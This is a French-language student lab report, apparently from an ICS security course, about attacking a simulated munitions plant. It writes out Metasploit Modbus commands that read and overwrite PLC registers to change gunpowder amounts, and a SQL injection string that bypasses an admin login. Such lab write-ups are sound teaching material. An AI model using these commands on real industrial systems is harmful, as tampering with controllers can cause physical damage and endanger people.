---
# System prepended metadata

title: Rapport de vulnérabilité ICS

---

# Rapport de vulnérabilité ICS
Auteurs : JANVIER Luc & DUPUY Fabien


---

## 1) Analyse des échanges réseaux
En bon spécialiste organisé et prévoyant, vous avez installé plusieurs outils utiles pour préparer
l’attaque du site industriel. Commencez par analyser les échanges des deux machines à l’aide de
l’outil Wireshark.


**1) Sur quel port communiquent les deux machines ?**
Les deux machines communiquent sur le port 502

![](https://i.imgur.com/pUUamqI.png)



**2) A l’aide de quel protocole ?**
Ils communiquent à l'iade du protocole Modbus TCP

![](https://i.imgur.com/00YhBMn.png)

Sommairement, un automate industriel est un ensemble d’emplacements mémoires, appelés registres, dans lesquels le programme principal va lire et écrire des valeurs propres à l’automate (e.g. des mesures remontées par un capteur). 

**3) Combien de registres identifiez-vous ?**

On peut identifier 17 registres différents :
![](https://i.imgur.com/rvP8bDD.png)


## 2) Prise de contrôle de l’automate

**1) Pouvez-vous identifier le rôle de chaque registre ?**

:warning: Les registres ont été identifiés durant le cours :warning: 

## 3) Attaque directe sur l’automate

### Phase de reconnaissance
Metasploit nous permet dans un premier temps de récupérer les informations stockés dans les registres.
Pour cela nous utilisons différentes commmande : 

```bash=
> use auxiliary/scanner/scada/modbusclient (module msfconsole à utiliser)
> set RHOST 192.168.2.8 (IP cible)
> set action READ_REGISTERS (Action de lire le registre à l'adresse 10)
> run (lancer l'attaque)
```
Puis nous obtenons le résultat suivant : 

![](https://i.imgur.com/YDqU2QC.png)

Ce résultat de 50 fait référence au nombre de poudre que donne l'usine dans un obus : 

![](https://i.imgur.com/Em6qmIm.png)

Maintenant nous allons essayer de changer cette valeur grâce au bouton More dont on connait le registre :  11

### Phase d'attaque

A présent nous allons utiliser le module afin d'écrire dans le registre 11 qui permet d'augmenter de 1 la valeur : "Amount of gunpower"

Avec les commande suivante : 
```bash
> set action WRITE_REGISTER (action d'écrire dans le registre)
> set DATA_ADDRESS 11 (adresse du register 11)
> set DATA 1 (la valeur à ajouter ici 1)
> run (lancement de l'attaque)
```
Voilà le résultat : 

![](https://i.imgur.com/CMHMHmq.png)

La valeur "1" a bien été ajouté au registre 11, du côté de l'usine, nous obtenons bien le passge de 50 à 51 : 

![](https://i.imgur.com/ILBDlzL.png)



## 4) Attaque indirecte via l’interface d’administration

**1) Quelle vulnérabilité avez-vous découvert ? Comment l’avez-vous exploitée ?**

Nous avons tenté une injection SQL de type : 
```
> ' OR 1=1 LIMIT 1 OFFSET 1--
```

![](https://i.imgur.com/xKDgUU6.png)

Par conséquent, nous remarquons que nous avons désormais accès au dashboard de la console web pour utilisateur "Grégoire".

![](https://i.imgur.com/PWC2BJf.png)

